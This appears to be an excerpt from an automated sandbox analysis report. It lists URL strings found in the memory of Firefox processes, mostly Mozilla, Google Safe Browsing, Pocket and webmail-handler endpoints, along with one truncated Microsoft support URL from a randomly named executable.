Source: firefox.exe, 00000018.00000002.2798630682.000002BA55E75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2806911409.000002BA57138000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2809778465.000002BA57CB2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2800920930.000002BA56BD0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2804720273.000002BA56D1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2663208610.000002BA57133000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55E75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%shttps://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55E75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2806911409.000002BA57138000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2809778465.000002BA57CB2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2663208610.000002BA57133000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2797233592.000002BA55A7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 00000018.00000002.2809778465.000002BA57CB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%sv
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55E75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2806911409.000002BA57138000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2809778465.000002BA57CB2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2663208610.000002BA57133000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2797233592.000002BA55A7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55E75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%sgecko.handlerService.defaultHandlersVersionhttps://mail.inbox
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55E75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%shttps://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 00000018.00000002.2809778465.000002BA57CB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%st
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55EDE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2841148791.000002BA5B71B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2792299128.000002BA49CD7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2785432044.000001B8C5372000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2784347261.000001AF5A786000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mitmdetection.services.mozilla.com/
Source: firefox.exe, 00000018.00000002.2837969712.000002BA5AE73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mochitest.youtube.com/
Source: firefox.exe, 00000018.00000002.2797999061.000002BA55DB5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2798630682.000002BA55E03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2792299128.000002BA49C03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2813105068.000002BA59634000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/about
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/breach-details/
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/breach-stats?includeResolved=true
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/dashboard
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/preferences
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla-ohttp-fakespot.fastly-edge.com/
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla.cloudflare-dns.com/dns-query
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://normandy.cdn.mozilla.net/api/v1
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://oauth.accounts.firefox.com/v1
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55EDE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ok.ru/
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55E75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2806911409.000002BA57138000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2809778465.000002BA57CB2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2663208610.000002BA57133000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55E75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%sresource://pdf.js/PdfJsDefaultPreferences.sys
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-
Source: firefox.exe, 00000018.00000002.2837969712.000002BA5AE73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://play.hbomax.com/page/
Source: firefox.exe, 00000018.00000002.2837969712.000002BA5AE73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://play.hbomax.com/player/
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55E75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2806911409.000002BA57138000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2809778465.000002BA57CB2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2663208610.000002BA57133000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2797233592.000002BA55A7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 00000018.00000002.2809778465.000002BA57CB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%sx
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55E26000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://probeinfo.telemetry.mozilla.org/glean/repositories.
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://prod.ohttp-gateway.prod.webservices.mozgcp.net/ohttp-configs
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://profile.accounts.firefox.com/v1
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55E75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55E75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://redux.js.org/api-reference/store#subscribe(listener)
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/accounts/profile/?utm_medium=firefox-desktop&utm_source=modal&utm_campaign
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/api/v1/
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/diagnostic?site=
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&p
Source: firefox.exe, 00000018.00000002.2832858012.000002BA5AC03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=118.0&pver=2.2
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=%GOOGLE_SAFEBR
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatHits?$ct=application/x-protobuf&key=%GOOGLE_SAFEBROWSIN
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=%GOOGL
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55E75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2870614524.000002BA61990000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSy
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://sb-ssl.google.com/safebrowsing/clientreport/download?key=%GOOGLE_SAFEBROWSING_API_KEY%
Source: firefox.exe, 00000018.00000002.2809778465.000002BA57CE1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2798630682.000002BA55E03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2792299128.000002BA49C03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2813105068.000002BA59634000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com
Source: firefox.exe, 00000018.00000003.2658761411.000002BA59700000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2660636691.000002BA5993C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2841148791.000002BA5B71B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2661028911.000002BA5995A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2813105068.000002BA5964A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2661653128.000002BA59977000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55E75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/_startedLoadSinceLastUserTyping
Source: firefox.exe, 00000018.00000002.2837480713.000002BA5ADEA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://searchfox.org/mozilla-central/source/toolkit/components/search/SearchUtils.jsm#145-152
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/abuse/report/addon/
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon/
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/language-tools/?app=firefox&type=language&appversi
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/discovery/?lang=%LOCALE%&edition=%DISTRIBUTION%
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 00000018.00000002.2832858012.000002BA5AC03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=118.0&pver=2.2
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 00000018.00000002.2832858012.000002BA5AC03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=118.0&pver=2.2
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://snippets.cdn.mozilla.net/%STARTPAGE_VERSION%/%NAME%/%VERSION%/%APPBUILDID%/%BUILD_TARGET%/%L
Source: firefox.exe, 00000018.00000002.2883372314.000002BA63751000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2825287749.000002BA5A231000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2871904573.000002BA61A12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com
Source: firefox.exe, 00000018.00000002.2883372314.000002BA63796000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2864606177.000002BA5D403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2841148791.000002BA5B71B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2825287749.000002BA5A231000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2737097313.000002BA61CB0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2813105068.000002BA59634000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2809778465.000002BA57C7C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2875505657.000002BA61CAF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2784347261.000001AF5A712000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 00000018.00000002.2881483129.000002BA63435000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2857928108.000002BA5D0D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2841148791.000002BA5B71B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2825287749.000002BA5A231000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2737097313.000002BA61CB0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2871904573.000002BA61A03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2813105068.000002BA5964A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2813105068.000002BA59634000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2809778465.000002BA57C7C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2875505657.000002BA61CAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 00000018.00000002.2875505657.000002BA61C29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs#
Source: firefox.exe, 00000018.00000002.2875505657.000002BA61C29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs#l
Source: firefox.exe, 00000018.00000002.2883372314.000002BA63796000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2841148791.000002BA5B71B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2813105068.000002BA59634000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2809778465.000002BA57C7C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2784347261.000001AF5A7C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/user
Source: firefox.exe, 00000018.00000002.2839565999.000002BA5B5FD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2841148791.000002BA5B710000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2798630682.000002BA55E03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2841148791.000002BA5B765000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2841148791.000002BA5B703000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2839565999.000002BA5B580000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2841657939.000002BA5B852000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: ae5cfd188c.exe, 00000007.00000003.2497811681.000000000564E000.00000004.00000800.00020000.00000000.sdmp, ae5cfd188c.exe, 0000000A.00000003.2631088178.000000000546E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: firefox.exe, 00000018.00000002.2809778465.000002BA57CE1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2822642036.000002BA5A07A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2798630682.000002BA55E03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2792299128.000002BA49C03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2813105068.000002BA59634000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cryptominers-report
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report
